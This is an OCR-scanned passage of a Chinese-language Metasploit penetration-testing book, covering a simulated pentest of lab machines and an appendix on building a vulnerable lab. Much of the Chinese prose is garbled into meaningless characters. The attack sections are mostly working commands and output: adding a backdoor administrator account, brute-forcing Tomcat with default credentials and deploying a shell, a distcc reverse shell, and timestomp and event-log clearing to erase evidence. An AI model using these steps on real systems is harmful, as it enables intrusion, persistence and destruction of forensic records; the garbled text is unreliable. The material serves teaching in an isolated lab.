11-5'HIP|.;.-.

[+] Conversion from hex to binary in progress. [+]

[+] Conversion complete. Moving the binary to an executable. [+]
[+] Splitting the hex into 100 character chunks [+]

[+] Split complete. [+]
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[+] Prepping the payload for delivery. [+]
Sending chunk 1 of 8, this may take a bit...
Sending chunk 2 of 8, this may take a bit..,

« + SNIP .

Using HZB Bypass to convert our Payload to Binary..
Running cleanup betfore launching the payload....
[#] Launching the PAYLOAD!! This may take up to two or three minutes. [+]

XIS ERBRE, BHCRMIT Fast-Track I BirELE§ Web SEAFIE, 4
Al SQL IEARMZRE T 4L, BAMER xp_cmdshell ZEAERT R - HE31 B+ 7530 S B 5 55 A
HKSER T — ML BERT Meterpreter Sheli B9 A. .

176 FeEH#H

B L, RFIWZCLTE MSF B05/5 & WHIE T —4 Meterpreter 3585 &8, 7R
FEFH B REMEEN AT FH. REREMERKNAESL. Y TRRX—HB, BRSE
HArEHL LM% nmap, #AFHIXE Windows BYL LIiZTE.

E 56, M insecure.org MG R ASTTRAT MR nmap, HARGFESRE. RIS
HEEERHRRASE L. BTk, HETHKN RDP S B RANERESE, RDP £
Windows REHR X MNEREENN, HEHIREEEA Windows RRAMETAHE, REFBIR
%Eﬁﬁﬂ%%ﬂﬁ%ﬁ—#néﬁmﬁﬁﬂMm@mmﬁﬁéﬁ¢E.ﬂﬂﬁﬁmmmmﬂ
) getgui MW H RDP th8GH ot BRE YR 2 B0 THLEE I 8080 BN, #RJ5TE Hir &% Lzl -
THPIERRE .

RATIFE BackTrack B HLIAr 44T LA rdesktop localhost:8080, X5V LA F 3 1% 1 B
FPRESERFAFEREL. BT RMA Meterpreter 146 nmap B EHRZE L, BHEERGH
Windows 5LHL b %23 nmap, REWHRX G R DI, RibTH - SHAMERE. K
Hh, ARt AT LS Rl E Metasploit 15 F B A1 52 B A scanner/portscan/syn scanner/portscan/tcp
REHITRR, REREFRACHKETNER.

meterpreter > run getgui -e -f 8080

[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos perez@darkoperator.com

{*] Enabling Remote Desktop

[¥] RDP is already enabled

[*] Setting Terminal Services service startup mode

[*] Terminal Services service is already set to auto

[*] Opening port in local firewall if necessary

[*] Starting the port forwarding at local port 8o08¢

[*] Local TCP relay created: 0.0.0,0:8080 <-> 127.0.0.1:3389
meterpreter > shell
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Process 2480 created.

Channel & created.

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

CAMINDOWS\system3d»net vser msf metasploit /fadd
net user msf metasploit /ADD

The command completed successfully.
CAWINDOWS\system32>net localgroup administrators msf /fadd
net localgroup administrators msf /add

The command completed syccessfully.

C:\WINDOWS: system32:

L OAWINDOWS\system32>°Z

Background channel &? [y/N] ¥

meterpreter > upload nmap.exe

1*} uploading : nmap.exe -> nmap.exe

[*] vploaded : nmap.exe -> nmap.exe
meterpreter >

MAECLHEFHATIE- - PRIBEG T, BEEERRA LEHE nmap, BAVTFHEEAET
HIsAHEMED 7. REATMZAZBELIHATERNRE, FH—PBENTNET .

17.6.1 {3 Metasploitable B

5t Meterpreter £1F . 811363 anto_add_route £r% NI VB 7 A RMLE 5 b EiE2
&, BATTLAEAB MG Windows XP ATHI/EABER, REAWHMIGEASINE L. mTEL
REBOIEANT N 3ERIER, BrLLEATH LLE#E77  #] T Metasploitable $241 H 45, iH3RATTE 46
¥ N o) MEE

nmap.exe -sT -A -P0O 17%.16,.32,162

PORT STATE SERVICE VERSION

21/tcp cpen  fip ProfFTPl 1.3.1
| _ftp-bounce: nc banner
22/tcp  open ssh OpenSSH 4.7p1 Debian 8ubuntul (protocel 2.0)

| ssh-hostkey: 1024 60:0f:cf:el:c0:5F:6a:74:d6:90:24:fa:cd:d5:6c:cd (DSA)
| 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)

23/tcp  open  telnet Linux telnetd
25/tcp  open smip Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntus.10 with Suhosin-Patch)

|_html-title: Site doesn’t have a title (textshtml).

139/tcp open netbios-ssn Samba smbd 3.X {workgroup: WORKGROLP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
3306/tcp open mysgl MySQL 5.0.51a-3ubuntus

5432/tcp open postgresql PostgreSQL D
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8009/tcp open ajpll Apache Jserv {Protocol v1.3)

B1Bostcp open  http Apache Tomcat/Coyote ISP engine 1.1

| html-title: Apache Tomcat/5.5

| _http-favicon: Apache Tomcat

MAC Address: 00:00:29:39:12:B2 (VMware)

Np exact 05 matches for host {If you know what 05 is running on 1T, see ttp://rmap.org/submit/ ).
Network Distance: 1 hop

Service Info: Host: metasploitable.localdomain; 05s: Unix, Linux

Host script results:

| nbstat: NetBIOS name: METASPLOITABLE, Net8IOS user: <unmknown>, NetBIOS MAC: <unknowns
| smbh-os-discovery:

| 05: Unix (Samba 3.0.20-Debian)

| Nome: WORKGROUP\Unknown

[ System time: 2010-05-21 22:28:01 UTC-4

05 and Service detection performed. Please report any incorrect results at http://mmap.org/submit/ .
Nmap done: 1 IP address (1 host up} scanned in 60.19 seconds

XEAEIR SO RFEY. BT nmap RIREREIHAR I, HOFIHRHERET
EYE—J UNIX/Linux RERE . MHEP —ERFE95%D, W FTP. Telnet. HTTP. SSH,
Samba. MySQL. PostgresSQL 1 Apache B iz R4 FIR KRS .

17.6.2 RATFEA RS
T — e I AR R O, TR R A RS T A Y, SRl TR RGN

mst » use auxiliary/scanner/ftp/fip_version

msf auxiliary(Ftp version) > set RHOSTS 172.16.32.162
RHOSTS => 172.16,32.162

mst auxiliary(ftp versien} > run

[*] 172.26.32.162:21 FTP Banner: ‘220 ProFTPD 1.3.1 Server (Debian) [::fFFF:172.16.32.162]\x0d\x0a’
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(ftp version) >

EiES FTP B & BB &, H1F 3 ProFTPD 131 iIEfT7E 21 38 Ok, #ETRA%A SSH %
TREZXTFHEREMEE (FS 8- fFEMLERINEE SEAGFE R . THRE
N BRFEFRBRINIBIEFEREBSITE - M ZIAK AN OpenSSH, 3 £EF 114 Ubuntu 3 4 A7 5
=1

msf » ssh 172.16.32.162 -v
[*] exec: ssh 172.16.32.162 -v

OpenSSH_5.1p1 Debian-3ubuntui, CpenSSL 0.9.8g 19 Gct 2007

259



Metasploit & ERiXERE

HARMETWOTES, X#EBIFALIEESTIRM2BER Ubuntu.

msf auxiliary{telnet versicn) > set RHOSTS 172.16.32.162
RHOSTS => 172.16.32.162
mst auxiliary(telnet versien) > rum

[*] 172.16.32.162:23 TELNET Ubuntu 8.04\x0Oametasploitable login:
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(telnet version) >

Great! MISEMET ARARZKZITE Ubuntu 8.04, BLEAFH THEDRENER N
(telnet 1 FTP) , LIGA[RERInItElN].

WMAELRCMES SMTP, i€ FIEEHFREZ LETEFRITBTHREGRESE. LERIMEEE
AEEFE R BARR S 8 LRI T HWR LR R ) M 45 R 45 .

msf > use auxiliary/scannexr/smtp/satp wersion

msf auxiliary{smtp version) > set RHOSTS 172.16.32.162
RHOSTS => 1372.16.32.162

mst auxiliary(smtp version) > run

[*] 172.16.32.162:25 SMTP 220 metasploitable.localdomain ESMTP Postfix {Ubuntu)\xo0d\xDa
[*] Scanned 1 of 1 hosts {100% complete)

{*] Auxiliary module execution completed
msf auxiliary{smip version) >

M L ERA] LAE B, Metasploitable At 45 2% L2 3KI2 173 Postfix H-FHEHFIR % .
NERWBERT FHIA T/ERIFEHEDN, SRERE, NECLREB T EHRRS
LEE TR AR IR, miX8E B EEFEF T H A RHEFSCRIEA.

17.7 14 Apache Tomcat

WAERMTE XM HEBETIHOEN, EFHARBERLFY.

HENATEA M ADRP, CE2FEBRRAg LHEERT--HAE%2RE SEEEYN
BIEN N — TR R DA, E, HFHTHRE—XRaEIR, WU HIRRSET
RAHEE, RARMNRARSBAHHFLRE, SRBTRERBHEGS — I RATHIE
. MAERINTE LR Apache.

RE2Z KR OEME R, HBF Apache Tomeat L3E7E 8180 %D L, @i — M AN E
XMW, AT B3 Tomeat FIERENFEE —MRAUEMRRE EXEBHERT, 70
CAE A exploit-db B Google SRE X — MR F U AT RERI SN ), TEX HEERA L RIEM Apache
Tomeat BERESHTH -FHINZE, BRI Tomcat B FHATHHERERBBEER
SR BRREZ - - MR IR Tomcat FFHIFMIHRE, MolLIER HTTP B PUT Xk
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R RYE DAEABBEA . RO TRBSNX KB ER L (B — SR d B d 8 i
).

mst » search apache
£*] Searching loaded modules for pattern "apache’...

.« - SNIP . ..

msf auxiliary{tomcat_mgr login) » set RHOSTS 172.16.32.162
RHOSTS => 172.16.32.182

smst auxiliary(tomcat _mgr login) > set THREADS 50

THREADS =» 50

msf auxiliary(tomcat mgr login) » set RPORT 8180

RPORT =» B180

msf auxiliary(tomcat_mgr login) > set VERBOSE false
VERBOSE => false

emst auxiliary(tomcat mgr login) > run

[+] http://172.16.32.162:8180/managex/html [Apache-Coyote/1.1] [Tomcat Application Manager]
successful login "tomcat' : "tomcat’

[*] Scanned 1 of 1 hosts (100¥% complete)

[*] Auxiliary module execution completed

mst auxiliary(tomcat_mgr login} »

B8RRI T Metasploit fEThIh LRI FIRG A P 4 tomeat #1134 tomeat B |

T Tomcat EHE L, BHBFEI- -1 Shell.
FIHBIFEMBGODSEE, IR multihup/tomeat mgr deploy %% SR HLRG

Apache H] HTTP PUT Zhf, [6) B3R REHEA BATHZ LAY

auxiliary(tomcat mgr_login) > use multi/http/tomecat mgr deploy
msf exploit(temcat_mgr deploy} > set password tomcat

password => temcat

msf exploit(tomcat_mgr deploy} > set username tomcat

username =»> tomcat

msT exploit{tomcat_mgr deploy) > set RHOST 172.16.32.162

RHOST =» 172.16.32.162

msf exploit{tomcat_mgr deploy) > set LPORT 9999

LFORT =»> 9995

Msf exploit(tomcat mgr deploy) > set RPORT 8180

RPORT => 8180

msf expleit(tomcat mgr deploy) » set paylead linux/xB6/shell bind tcp
payload =» linux/x86/shell bind tcp

mst expleit(tomcat mgr_deploy) > exploit

[*] Using manually select target "Linux XBg"

[(*] Uploading 1669 bytes as FW36owipzcnHeUyItlaX.war ...

[*] Started bind handler

261



Metasploit & E A {55

[*] Executing /FWibowipzcnHeUyIUaX/UGMIdTF JVENQDp4VveswTlma, jsp. ..
[*] Undeploying FW3GowipzcnHelyIUaX ...
[*¥] Command shell session 1 opemed (172.16.32.129:43474 -> 172,16.32.162:9999) at 2010-05-
21 23:57:47 -0400msT

1s

bin

boot

cdrom

dev

etc

home

initrd

initrd.img

lib

Llost+found

media

mnt

opt

pPIocC

root

sbin

STV

SYS

tmp

usI

var

vmlinuz

whoami

tomcatss

1s /root

reset logs.sh
mkdir froot/moo.txt
mkdir: cannot create directory '/root/moo.txt’': Permission denied

TR BIIAREE root BRTEAXH, EAFEBRIMNE MEZROH-KS, RTiXHE
EREERAFAFEHAAIENGEFFM T, Apache IR & LL Apache F 2 XK P10 apache htipd .,
www-data ZFRIZITH . BTRINCEX B EHRERFRAEN TH, Ll —FERA
PRRFEAREBBAAH AR, RRELECEHEHDE T —HEXWTN, iLEAIRKZAT B
—F A ERIEEE.

BT TEHAELESELHRRA L, 3T 4 £ Metasploitable L3 root #7 F 85— 2k
A5 7 SSH 7 FR] a94h MALS A A% & FF 8E http://www.exploit-db.com/exploits/5720/.

17.8 HWH—"MEITBIAESS

AR HEAT — R BRIARY nmap B O34, RADFEFERHARRE LR REFEFNO .
R FHEARECELDE THRENWHITEH, ATLUEA netstat -antp 72, T EUREL nmap

262




B 17T ¥ —RHERREIEN R

BHEFRY R —EH A ). GEFE—RBENEY, I ELAEKERINETEH. ©
((NEY:REEE

BRI N 7 3632 £ AR 3 CBES] DistCC B %, MH#ITELEE S /RES DistCC
2 THEEEMEPE S SRMHES R C/ICHCEERRSRE, MHFESEL2EN (X4
RPATIBEN BN, 28 BEBIRIA BN EEEAER, BEERGEIIEANFR
XLEHFR).

mst expleit{distcc_exec) > set payload Linux/x86/shell_reverse_tcp
payload => linux/x86/shell reverse tcp

msf exploit{distcc_exec) > set LHOST 172.16.32.129

LHOST =»> 172.16.32.129

shomsf exploit(distcc_exec) » set RHOST 172.16.32.162

RHOST => 172.16.32.162

mst exploit{distcc_exec) > show payloads

Compatible Payloads

e ——
[+ =4+ 5 F I T F EF T T T L

Name Rank Description

cmd/unix/bind perl normal Unix Command Shell, Bind TCP {via perl)}
cmd/unix/bind ruby normal Unix Command Shell, Bind TCP (via Ruby)
cmd/unix/peneric normal Unix Command, Generic command execution
cmd/unix/reverse normal Unix Command Shell, Double reverse TCP (telnet)
cmd/unix/reverse perl normal Unix Command Shell, Reverse TCP (via perl)
cmd/unix/reverse_ruby normal Unix Command Shell, Reverse TCP {via Ruby)

mst exploit(distcc_exec) > set payload cmd/unix/reverse
payload => emd/unix/reverse
mst exploit(distcc_exec) > exploit

[*] Started reverse double handler

[*] Accepted the first client connection...

[*] Accepted the second client connection...

[*¥] Command: echo q6Td9oaTrOkXsBXS;

[*] Writing to socket A

[*] Writing to socket B

[*] Reading from sockets...

[*] Reading from socket A

[*] At "q&TdgoaTrOkXsBXS\rin®

[*] Matching...

[*] B is input...

[*) Command shell session 2 opened {172.16.32.129:4444 -> 172,16.32.162:47002) at 2010-05-
22 OD:08:04 -0400

whoami

daemon

mkdir /root/moo

mkdir: cannot create directory '/root/meo’; Permission denied
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R ARG E R root. — RAHRA KT AT UL — P HARAHRBELHAEH
P . I EXEHTSHESWER, FEHBREERTD I I HAEE Metasploitable &
4t LEGINEREL root (R, —PMEREURFI LI Expoit-db EIRBIFHXFEBILE) . BZFHNE,
BAR B ORI AX S HEE LA P AR Linux 2L Meterpreter shell 1,

17.9  FRSRBYER IR

TESCRBNMBE G, T FPREERBENHAFERRA L, HERBINIGES, K6
A RE PR, KRB0 EB RS U Meterpreter shell, BEACH 5k, CUB4E
HFRAL E R E XM EE. 22 50R 3, LRIMER T PUT HikKIKA—E Apache Tomeat
S, HAKBREHE MRS FHEEE TRRBERBXIERE.

HEER %, (RHERBIRKERE, HWMTER P8 A0E B A S0 BT EUIE 547 5 (3 mH R
. FEEFRE T, R EEREHEMBUES SN R RGE R R . BEER T RAER
IORATH UBRIE, (2] DR R EK % T ML ATEUE B9 A By, 44l L AR o] B2 IR 3 L 4R
A% B o 96 PR -

EEERUL T, EAEACESHEN, GURIRIETTARE R LB R 2378 Br kB
B LB R RREALTH, FMMTERASRNHRACLEBRLRINE, EXET R
AR PIEIR THEGE R, SRNESNBRENFEEBEMNRERSERFLBRTH
FIAREE, BXEBENRIEFEERED LE,

fEZ A — L E P A D& T8 B Meterpreter (RN R EF £ — PR HUEUEE S 7 15
B ERBENT, 2 ZIAAERF 0 R HRX Meterpreter 5210 AR, RE B
HAHRE TR GRS H H Meterpreter B SR M7, T Metasploit IR 41112 DARAER
Meterpreter B3 75 # R BEAT =l .

RAEEE ) T Meterpreter B3 A MRAZ F BT LEHEICE ROBEER, L— M HR&H
HEFHNRRTEENG, T BESE LU AReE R X & m 8, HEFEI180~ 8
LR A& ARG . EAZHWAT, BIEFTE RN Metasploit RN T2LEAT
o B R M b fE A AR .

BIVEASAR SR IRRER LT A FEARE R, AR Metasploit 1L MFHE IR
R KR : timestomp F) event_manager. Timestomp 37—~ Meterpreter [3EM, 7T LA HidR 245
o BIBR SIS E e Rk . BITARIEBITT timestomp:

meterpreter > timestomp

Usage: timestomp file path OPTIONS
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OPTIONS:

-a <opt> Set the "last accessed” time of the file

-b Set the MACE timestamps so that EnCase shows blanks
-c <opt> Set the "creation" time of the file

-g <opt> Set the "mft entry modified" time of the file

-f <opt> Set the MACE of attributes equal to the supplied file

-h Help banner

-m <opt> Setf the "last written" time of the file

3 Set the MACE timestamps recursively on a directory
-v Display the UTC MACE values of the file

-z <opt> Set all four attributes (MACE) of the file

meterpreter > timestomp C:\\boot.ini -b
[*] Blanking file MACE attributes on C:\bpot.ini
meterpreter >

7 EREIR, A Mgk T R E, 8 S BUE i & R - 4T P EHE S §1 T A Encase
i, XENABHERATH,

M event_manager THUZBHBHLE. EHENATERRERSEH R EREREE
FHETE B

meterpreier » run event_manager
Meterpreter Script for Windows Event Log Query and Clear.

OPTIONS:

-c <opt> C(lear a given Event Log {(or ALL if no argument specified)
-f <opt> Event ID to filter events on

-h Help menu

-i Show information about Event Logs on the System and their configuration

-1 <opt> List a given Event Log.

-p Supress printing filtered logs to screen

-5 <opt> Save logs to local CSV file, opticnally specify alternate folder in which to
save 1ogs

meterpreter > run event manager -c¢

[-] You must specify an eventlog to query!
[*] Application:

[*¥) Clearing Application

[¥] Event Log Application Cleared!

[#] MailCarrier 2.0:

[*] Clearing Maillarrier 2.0

[*] Event Log MailCarrier 2.0 Cleared!
[*] Security:

[¥] Cleazing Security

[*] Event Log Security Cleared!

[*¥] System:

[*] Clearing System

[*] Event Log System Cleared!
meterpreter »
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T EAB T, BOERTHEHEGDE, BREKMETRELSIERIIAHERE LB
HEEBHER, AR LR RALGEHAEE. REEETRHER TANBIEIHE SR
HE RN RRARE - EATETEEERBGHER, B2 SMERET  -EERET A,

LR EER T RGN B REMT Moy, X EARTLUER & MR R i B .
EHE, FERSEBFRE LT —takee LE), Xaib RS mp R EE 28 BB TAFF
WM, HENDERTIEREBIIRRT,

17.10 h&&

ZIDLEE, RATo] A 4ELE E FH Metasploit fil Meterpreter 3R ABMEE PRI EHAR TN, R
BRI T RATHAE D MEES . MARE - FRKME, BRITTLIENENEFENTNERE
LR BINGE BRBITH — P HREEAR

e iR, EXEPRIICETET —8 Windows FHIRS, FAITEMERA Meterpreter
LWMMHE RS LRI L O4 hash {5, FFAZEOSEERKZRASHAR Windows EHLE S
IE. E—8elHED, KMEFEARSSEEAFRREZE LR R, FALEITTCIFERAMN .
—H ARG LRBRAMELR, BRATH -6 RAKMHFTR. BBl TREIREeST M IRBEH 4
BATEHEAN RS, BB EATERERIN SaRABRMeER, RIRTEERE, A ENL
Bl CBTR” FIEEX.

BRMNEEXEPFERT PG BRFERETS”, LA EEREMARNK T
BEFANBAREREZ, WL — P X2l NET, XERAERE —REEHEEHBEHT
BERGENE. BREERGESNRL 2 HNERBRENLIP CRETE.

ERPBENSER L, Wit —EERYE—EMRLIEZHEMFERR, BAELE
Ref{EEAMMESAEE,  SWREILNEEEEREENXP B TIRFEETIA

IR E, WS ARTRAEN —FF R, BRAAEH S HN RS FEEE, XA
CLiEAATIAE T A M= A LA AR & AT IRER L 7k, e PR 7EaX A 8 P Al 8% pg )
RUME- -Mhhe gl “SEER. SKER. BIEER”,
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B 5 B #R¥la%

FHEH Metasploit FEEFIRFIMEREER: ER- -ME, HEIGRESEECURER
SERLHT . BRI T EREE—MIARE, ZXBRFHETHEF.

Al BREGEBRSG

FHWAFEAESHERA T BackiTrack. Ubuntu 9.04. Metasploitable H Windows XP.,
Back|Track A3 THAIAB D HL, 1T Ubuntu A Windows R R IRATTH) B BREEHL.

BAEME-—MREFTEMFHT K Windows XP SP2 RE (GFE7:. #FHRIR, 58P
LT ERFF B0, HARBREBHAERFF . Back/Track # Ubuntu 9.04 BRINLEEIET1THE—
&% 7 Windows. Mac OS X = Linux B{ERATH EREM VMware R L, B
Workstation. Server. Playver. Fusion ¢ ESX.
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R Ay w4 ¢ Ubuntu = Windows XP E #0bL, F X sk & o0 FL A7 55 8 5F ALRE # i
Fk, FEEXEE PN EFETHANIFH: Rkt By, ML
A AL RE

IR iE B £ #E) Windows F Linux MR A M VMware Playver, 3E T #&34cik. MBRME
IR f Mac OS X, iF I # VMware Fusion [ 30 K& R ILHAR. (IRREFEIEZEIT Windows, I
] LLE H VMware Server B %8R )

Y VMware 2 5, Wn.vewx XA FGRER, W& Bl VMware Player 31 JTE#IELIL
8, %FE File>Open I HIBMAE T A BERHNRER AR IEE. TRIFEEN SO HBRE
ey, G- TR EYL, R X 180 XA CD-ROM 4.

T T http://www.backirack-linux,org/ T #, Back|Track, & http//www.vmware.
com/appliances/directory/ ® &3 -F Ubuntu 9,04 7 T #k. Metasploitable /& hitp://blog.metasploit.
com/2010/05/introducing-metasploitable.html F #,.

A.2 5|5 Linux EE£I#

TERNEM — Linux BRNLZR, FHEHFH. Linux H3 FEAFRAF# oot 1%
% toor.

WARPRHI M S H #E AT DHCP ARS5 4%, $H IR RGPt vE B A ER T mF R R an 4. (i
AR — T RERELERIRR 1P Heht, FEHREBAMEEORLGEEMENN. ETHEEZF LN
R E, 5V haprwwwyolimoe. com/TUTORIALS/Linux TutorialNetworking htmi. )

root@bt:~# nano /etc/netuwork/interfaces

Password:

<inside the nano editor place your valid information into the system)

# The primary network interface

auto etho # the interface used

iface etho inet static # configure static IP address
address 192.168.1.10 # your IP address you want
netmask 255.255.255.0 # your subnet mask
network 192.168.1.0 # your network address
broadcast 162.168.0.25% # your breoadcast address
gateway 192.168.1.1 # your default gateway

<control-x»

<y>

FeESE R G, I Linux B2 n]DIEH 7. AEBHER Ubuntu R, FHAERRIFRA
EARFR.
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A3 ZHEHFERNE Windows XP

A TEBTERBTWEF,. REEEE - O#HENN Windows XP 55 3IZE0L VMware )
B E b, 2352 M2Z )5, LA Administrator ¥ 35337 7 Control Panel, #: 3} Classic View,
G IETE Windows Firewall. i&$% Off 3 &ld OK. (XM EHBREEEFAIL, AREAAT
PR R

F—&, ¥TF Auvtomatic Updates 3 HiE4E Turn off Automatic Updates: #R/5 sl OK 3%44.
ARIETE S ) BN Windows BHTEBIEGN, HRALSHELRTITENT.

PAER T Network Connections # #{ R 25 F I RAME — N #A IP #ulk, XA RS589,
BRI NEERAHS BB IGER BB EFRE H kb,

A.3.1 £ Windows XP B {549 T1AE 5538

ﬁTﬁﬁTﬁEﬁ'ﬂ: HHRH— P E AT, RIS — SR MRS .
. TEFEHERS, % Add or Remove Programs, RS AddRemove Windows

Components. #MN1Z2 & P Windows Components Wizard.

2. 1&F% Internet Information Services (IIS)A) B IEHE I H A Details. 3RS %% File Transfer
Protocol (FTP) Service By R EHEH #3137 OK &4l LLA% H{ER1E., FTP RSB IAR AT E L.

3. ¥ Management and Monitoring Tools B3%E3 B S OK #48. WASRT, 2%
IS E R P (SNMP) Fil Windows Management Interface {WMI) SNMP Provider.

4, Ri§ Next BHlsEEE, BFEBNE.

AERESRTENTRRE, BEEEBDEAR. 1S BE B AFHRET M, B
& hitp:/fwww.secmaniac.com/files/nostarchl zip F#. FTP fR% LHLE ¥ Windows FTP &9 i,
I 1 SNMP ACBH 2 S Bl Metasploit T 0% Bhiisa,

A32 EiSQLEESE

Metasploit 1 Fast-Track " BYF £ ¥ FEALEL 2 L Microsoft SQL Server 4 BARf, B4R
Wi B SQL Server 2005 Express, 1 LAM Microsoft 78], BAS—#, HATLAE
hitp:/fwww.microsoft.com/ TR BIRTT Bk %54+ T RUAM SQL Server Express. 33 T &3 SOL Server
Express, {R#% B %% Windows Installer 3.1 FI.NET Framework 2.0. YRERFE DL T R B R T BT
HRERIFE, CEARPHEMBEEL URL: http./fwww.secmaniac.com/files/nostarchl zip.
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BT T &R0 E&4, BT SQL Express installer i FEM T MR NEIREE T
Authentication Mode. A Mixed Mode, WE —1 sa MO % password123, U E %5

SQL Server RAE LT LIE, HTHEIN KSR R T I8 AR M.

1. i%+F Start--All Programs->Microsoft SQL. Server 2005->Configuration Tools, 38 5 # SQL
Server Configuration Manager.

2. HEBEBBHBIMN, %EFE SQL Server 2005 Services, HRAFHRIEH SQL Server

(SQLEXPRESS), iT# Stop.

3. B JF SQL Server 2005 Network Configuration Manager 33 # Protocols for SQLEXPRESS.,

i A-1 B

56 SH Seyver Coatipuraton Moz

g S Serves Confagur aton Marager fLocal) Protaco] Name
0L Server 7005 Services T Shared Memory

¥ Narwed P

bl [ 201

- SO Sarvar 2006 Madwork Confwar stan

¥ A-1 SQLEXPRESS EHMY

4. ik TCPAP, TEEMARE, W T Enabled & Yes 3 H 1% & Listen All 4 No.

5. TF---#, ¥ TCPAP BYEXEHE, EHE IP Addresses #REE MR IPALL FRTE%H.
7E 1P1 BR IP2 F, MR TCP shifiy O RMEH R E 4 Active, Hf Enabled IR E 4 Yes.

6. Behi, WEIP1 B IP Ml 54R2 Wi ERUAR & IP F8ILAC, & 1P2 sy 127.0.0.1,
HFHAEE TN TCP im0 1433, RINEENZHEERXENE A-2 FraiHAe, B
®ixZfaad OK #&4.

T—3, RE LT SQL Server M%K%

1. JE+F SQL Server 2005 Services 3% H XX 1h SQL Server Browser.

2. FEMEERET, WE Start Mode 4 Automatic.
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H& A EXBRYLAE

TCE/W T roperties

ovctocel 1P AdFwisas
B oy o :
Enabied &g I
IP Addr s 192.168.1.155 !
. TCP Dynamc Ports i
TP Port 1433 |
B 162 ;
T Yes I
Enabled Ymg
IP Adcress 127.0.0,1
TP [ynoric Ports
TP Poxt 1423
S pay
TP Drynam” Poit 5
TCP Port
ACtihve
Incs akes whether the seladted TP Address s achive.
L]

B A2 & TCPAP B HFEH R SQL AR%E 2% IP Huhl

BIFH T, SQL RA[BAEKAB N MER FK S TiE8lT, XEMEFHRE. A, &
TR T HAX MR TEBEN, LRGN Eal, FEafEtTXME, Il
FEAE I 18) 25 A 8 G L PR T 1 i) L

TERHA HRELE L, BA1RH SQL Server Browser B & RIE1TTEIFILE SYSTEM A3 R
B F. K9 FRHLE SQL Server IRE VA REH P F 3%, X EEREF Microsoft SQL Server
(2000 MIE B &) PISAEKE. FEik, REAZESR A, Wi SQL Server (SQLEXPRESS)H:
W®E Log on as J§ Local System, RRZ G ETERE. REHBFAR ST SQL Server
(SQLEXPRESS)H Hik# start. X} SQL Server browser i# TR IR .

S XA ESESH S-S RIERTH R IHE LE, T FH 017 HETT S netstat
-ano |find "1433" %l netstat -ano [find "1434". {RZ BTACEAY IP Mk R Z7E TCP ¥ 1433
UDP #x 0 1434 W07 3], W F BioR:

Microsoft Windows XP [Versicn 5.1.2600]
& (opyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator>netstat -ano |find "1433"

TCP 127.0.0.1:1433 0.0.0.0:0  LISTENING 512
TCP 192,168.1,155:1433 0.0.0.0:0 LISTENING 512
C:\Documents and SettingsiAdministratorynetstat -ane |find “1434"

upp 0.0.0:1434 it

C:\Documents and Settings‘\Administrators
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A3.3 fIZAIRMRR Web FH
% TEHE L Metasploit B9 R&5F1E, BLRAR Fast-Track M Social-Engineer Teolkit (SET)—
RS TR, AFERRMEN web AR, HATEEBEENR, ETFEHR%
SQL Server Management Studio Express.
TERTBEFEFERRE, #EITMTRER.
1. M Server 2005->SQL Server Start->All Programs->Microsoft SQL Management S tudio
Express AZNFRF.
2. HIRSMBRIER, EFE Authentication #7238 B P HI SQL Server Authentication JE10,
HiEM 7 4 sa FI#H i passwordl .

3. FENEMNED, A8 AD Databases 3% TR New Database.
4, ¥ARERLEH AN WebApp 3 B L e 4.
5. FEITEHBEE T WebApp BB ERNRE .
6. FBirA R Al Tables 8% FF New Table. 5 &84 users, HIEME A-3 BT Rfr
Z5|Z R,
g s T —
Cokrnbame Do Tupe MowNds  [Thi] dhausess
LE#rTiarme varchar{s0) '
o e " T—
mick_name varchar{B0) ] Cescrpton
b essword varchar(s0) B | sthem &%

B A-3  users #F)

7. RTF users ¥, HHLE AT E, %EFE Open Table.
8. fHIARLT A A4 FrPRRERFIERE, REHFZE.

W Y T g e— —
' : ..-':',T.F - _ Lserrameg First_name It_l:l:___i_mu myide_neme [ iy 1

1 . acmin adman ackren admn s’k

2 s rath 1o smith oy L3 el

3 rjohrmon robwrt TS Khreon xr
|- AL ALE AL AL ALEL

¥ A-4 IKFE users ¥

9. RIS K8 T /) Security BHRF, 2R EFF Logins.

10. ZER P RYHE QA# AT Logins Hi%E#F New Login. fEHEM B A, sid: Search, A
ASPNET, #RJ5 Aifr Check Names. S8 BA P 4Nz BaIIRA T, RdrfiiAEd AT
AFPFER.

11. B, MRERPEETO, £ User Mapping, EHEREFE WebApp HHEEIE, &
#% db_owner 8, }H i OK %4
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MiFk A BECEERHE

Weh [N B ¥ 5 0 7 We BB SOL RIRBEIT, {R4FIFBHE Management Studio. i &
e R OUE — e e S AR Y M ERATAL 5. LA T F 3R,

1. MELF ML hitp://www.secmaniac.com/files/nostarchl.zip FERTRFER Web ., 3
MAER A H H 3 Cialnetpubiwwwroot\ T,

2. ¥TFFE ST 88 H-48 W] htp- /i< 78 ip BiLf>/Defaultaspx. RSB —1EFER, A
A-5 Fi7R.

3. W ABRRESEDRK SQL AR IEERITH. #hil WHEEN SQL EAKBEMN R
MHEIFERITT. EAFPZRBEA —T25]5 (), BMAERRASEED. MM
AR affrn—1F SQL AXERNAATRM.

4. AENNBRBHLIFRA OR I=]1, FHEHMATFERAFRBEE. HFESEHER “F
OERNER" BER.

MEFRCEEIXAET, HEFHEFOCETERAEBRGT T, REETFHEEAT .

M A5 FREERED

A4 FEF Back|Track

EREAL R RE RA T IE1T ] Back|Track M1 THERBEEAMN. 452 F 2 Back/Track
(rootitoor) W, 1Z4T T H 462

root@bt:~# apt-get update &% apt-get upgrade A% apt-get dist-upgrade

—_—
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IR —F W 2R IR T A MY Back|Track HH. YIFFERI R EIEZ SVN iEBrt#A y
B, Y0283 I Back|Track. {HERIIRGETIRTE — &4 Metasploit. Fast-Track. H SET
TERAAGMEKETH.

0 root®bt:"# cd fopt/framework3/msf3/
® root@bt:/opt/framework3/msf3# msfupdate

L] L ] SHI P - L | L |

Updated to revision XXXX.
© root@bt:/opt/framework3/msf3# cd /pentest/exploits/set/
root@bt:/pentest/exploits/set# swn update

. SNIP . ., .
